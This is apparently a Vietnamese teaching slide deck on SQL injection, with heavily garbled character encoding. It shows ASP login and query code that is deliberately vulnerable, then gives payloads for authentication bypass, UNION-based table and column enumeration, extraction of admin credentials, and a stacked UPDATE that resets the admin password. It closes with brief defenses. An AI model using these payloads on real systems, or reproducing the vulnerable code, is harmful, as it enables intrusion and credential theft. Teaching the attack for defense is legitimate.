2. SQL Injection l g狸?
SQL injection l m畛t k挑 thu畉t t畉n c担ng l畛i d畛ng l畛
h畛ng trong vi畛c ki畛m tra d畛 li畛u nh畉p trong c叩c 畛ng
d畛ng web v c叩c th担ng b叩o l畛i c畛a h畛 qu畉n tr畛 c董 s畛
d畛 li畛u 畛 "ti棚m vo" (injection) v thi hnh c叩c c但u
l畛nh SQL b畉t h畛p ph叩p.
H畉u qu畉 c畛a n坦 r畉t tai h畉i v狸 n坦 cho ph辿p nh畛ng k畉
t畉n c担ng c坦 th畛 th畛c hi畛n c叩c thao t叩c x坦a, hi畛u ch畛nh,
do c坦 ton quy畛n tr棚n c董 s畛 d畛 li畛u c畛a 畛ng d畛ng,
th畉m ch鱈 l server m 畛ng d畛ng 坦 ang ch畉y.
L畛i ny th動畛ng x畉y ra tr棚n c叩c 畛ng d畛ng web c坦 d畛
li畛u 動畛c qu畉n l鱈 b畉ng c叩c h畛 qu畉n tr畛 c董 s畛 d畛 li畛u
nh動 SQL Server, MySQL, Oracle, DB2, Sysbase.
3. C叩c d畉ng t畉n c担ng b畉ng SQL Injection
C坦 b畛n d畉ng th担ng th動畛ng bao g畛m:
V動畛t qua ki畛m tra l炭c ng nh畉p (authorization
bypass)
S畛 d畛ng c但u l畛n SELECT
S畛 d畛ng c但u l畛nh INSERT
S畛 d畛ng c叩c stored-procedures [2], [3]
4. D畉ng t畉n c担ng v動畛t qua ki畛m tra ng
nh畉p
ng nh畉p nh畛 vo l畛i khi d湛ng c叩c c但u l畛nh
SQL thao t叩c tr棚n c董 s畛 d畛 li畛u c畛a 畛ng d畛ng
web.
Trong tr動畛ng h畛p ny, ng動畛i ta c坦 th畛 d湛ng
hai trang, m畛t trang HTML 畛 hi畛n th畛 form
nh畉p li畛u v m畛t trang ASP d湛ng 畛 x畛 l鱈
th担ng tin nh畉p t畛 ph鱈a ng動畛i d湛ng. V鱈 d畛:
6. execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL vUsrName =
Request.Form("fUSRNAME") vPassword =
Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _ "WHERE
USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " '
Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open
strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " &
objRS("USR_NAME")
End If
Set objRS = Nothing %>
7.
Ng動畛i d湛ng nh畉p chu畛i sau vo trong c畉 2 担
nh畉p li畛u username/password c畛a trang
login.htm l: ' OR ' ' = ' .
L炭c ny, c但u truy v畉n s畉 動畛c g畛i th畛c hi畛n l:
SELECT * FROM T_USERS WHERE
USR_NAME ='' OR ''='' and
USR_PASSWORD= '' OR ''=''
C但u truy v畉n ny l h畛p l畛 v s畉 tr畉 v畛 t畉t c畉
c叩c b畉n ghi c畛a T_USERS v o畉n m達 ti畉p
theo x畛 l鱈 ng動畛i d湛ng ng nh畉p b畉t h畛p ph叩p
ny nh動 l ng動畛i d湛ng ng nh畉p h畛p l畛.
10. D畉ng t畉n c担ng s畛 d畛ng c但u l畛nh
SELECT
畛 th畛c hi畛n 動畛c ki畛u t畉n c担ng ny, k畉 t畉n
c担ng ph畉i c坦 kh畉 nng hi畛u v l畛i d畛ng c叩c s董
h畛 trong c叩c th担ng b叩o l畛i t畛 h畛 th畛ng 畛 d嘆
t狸m c叩c i畛m y畉u kh畛i 畉u cho vi畛c t畉n c担ng.
Th担ng th動畛ng, s畉 c坦 m畛t trang nh畉n ID c畛a
tin c畉n hi畛n th畛 r畛i sau 坦 truy
v畉n n畛i dung c畛a tin c坦 ID ny.
11. <%
Dim vNewsID, objRS, strSQL
vNewsID = Request("ID")
strSQL = "SELECT * FROM T_NEWS
WHERE NEWS_ID =" & vNewsID
Set objRS =
Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
Set objRS = Nothing
%>
12. C但u truy v畉n SQL l炭c ny s畉 tr畉 v畛 t畉t c畉 c叩c
article t畛 b畉ng d畛 li畛u v狸 n坦 s畉 th畛c hi畛n c但u
l畛nh:
SELECT * FROM T_NEWS WHERE
NEWS_ID=0 or 1=1
13.
' UNION SELECT ALL SELECT OtherField
FROM OtherTable WHERE ' '='
(*)
L炭c ny, ngoi c但u truy v畉n 畉u kh担ng thnh c担ng,
ch動董ng tr狸nh s畉 th畛c hi畛n th棚m l畛nh ti畉p theo sau t畛
kh坦a UNION n畛a.
N畉u ch炭ng ta th棚m ' UNION SELECT name
FROM sysobjects WHERE xtype = 'U' l c坦 th畛
li畛t k棚 動畛c t棚n t畉t c畉 c叩c b畉ng d畛 li畛u.
14. D畉ng t畉n c担ng s畛 d畛ng c但u l畛nh
INSERT
Ch畛c nng kh担ng th畛 thi畉u l sau khi ng k鱈
thnh c担ng, ng動畛i d湛ng c坦 th畛 xem v hi畛u
ch畛nh th担ng tin c畛a m狸nh. SQL injection c坦 th畛
動畛c d湛ng khi h畛 th畛ng kh担ng ki畛m tra t鱈nh
h畛p l畛 c畛a th担ng tin nh畉p vo.
22. Ki畛m tra ch畛 y畉u c畛a trang web
B畉n c坦 th畛 i畛n th棚m m畛t s畛 l畛nh tr棚n url,
ho畉c tr棚n c叩c from login, search, ho畉c search
畛 ph叩t hi畛n l畛i.
Sau 但y l m畛t s畛 c叩ch th棚m v ph叩t hi畛n l畛i
c畛a nh坦m m狸nh:
26. Nh畉n data qua database using
ODBC error message
但y l b動畛c quan tr畛ng nh畉t v 嘆i h畛i nhi畛u k挑
thu畉t l畉n s畛 am hi畛u v畛 c董 s畛 d畛 li畛u.
Table INFORMATION_SCHEMA.COLUMNS
ch畛a t棚n c畛a t畉t c畉 c叩c column trong table. B畉n
c坦 th畛 khai th叩c nh動 sau:
http://vitcon/index.asp?id=10 UNION SELECT
TOP 1 COLUMN_NAME FROM
INFORMATION_SHEMA.COLUMNS
WHERE TABLE_NAME=admin_login--
27. Out put:
Microsoft OLE DB Provider for ODBC
Drivers error 80040e07[Microsoft][ODBC
SQL Server Driver][SQL Server]ORDER BY
items must appear in the select list if the
statement contains a UNION operator.
/index.asp, line 5
28. Thu th畉p c叩c d畛 li畛u quan tr畛ng
Ch炭ng ta ph畉i x叩c 畛nh 動畛c c叩c t棚n c畛a c叩c
table v column quan tr畛ng.
Ch炭ng ta c坦 th畛 l畉y login_name 畉u ti棚n trong
table admin_login nh動 sau:
http://vitcon/index.asp?id=10 UNION
SELECT TOP 1 login_name From
admin_login
29.
B畉n d畛 dng nh畉n ra 動畛c admin user 畉u ti棚n
c坦 login_name l aaa.
Sau 坦 dung t棚n user t狸m 動畛c 畛 t狸m
password:
http://vitcon/index.asp?id=10 UNION
SELECT TOP 1 password FROM
admin_login where login _name=aaa
B但y gi畛 b畉n s畉 nh畉n 動畛c password c畛a aaa
l bbb.
30. X畛 l箪 k畉t qu畉 t狸m 動畛c
Khi b畉n 達 c坦 t棚n c畛a t畉t c畉 c叩c column trong table,
b畉n c坦 th畛 UPDATE ho畉c INSERT m畛t record m畛i
vo table ny.
畛 thay 畛i password c畛a aaa b畉n c坦 th畛 lm nh動
sau:
http://vitcon/index.asp?id=10 ;UPDATE
admin_login SET password =ccc WHERE
login_name=aaa
Ho畉c b畉n login tr畛c ti畉p vo v th畛c hi畛n d動畛i quy畛n
user 坦.
31. C叩ch ph嘆ng tr叩nh
C畉n c坦 c董 ch畉 ki畛m so叩t ch畉t ch畉 v gi畛i h畉n
quy畛n x畛 l鱈 d畛 li畛u 畉n ti kho畉n ng動畛i d湛ng
m 畛ng d畛ng web ang s畛 d畛ng.
C叩c 畛ng d畛ng th担ng th動畛ng n棚n tr叩nh d湛ng
畉n c叩c quy畛n nh動 dbo hay sa. Quy畛n cng b畛
h畉n ch畉, thi畛t h畉i cng 鱈t.
32.
Lo畉i b畛 b畉t k狸 th担ng tin k挑 thu畉t no ch畛a
trong th担ng i畛p chuy畛n xu畛ng cho ng動畛i
d湛ng khi 畛ng d畛ng c坦 l畛i.
C叩c th担ng b叩o l畛i th担ng th動畛ng ti畉t l畛 c叩c chi
ti畉t k挑 thu畉t c坦 th畛 cho ph辿p k畉 t畉n c担ng bi畉t
動畛c i畛m y畉u c畛a h畛 th畛ng.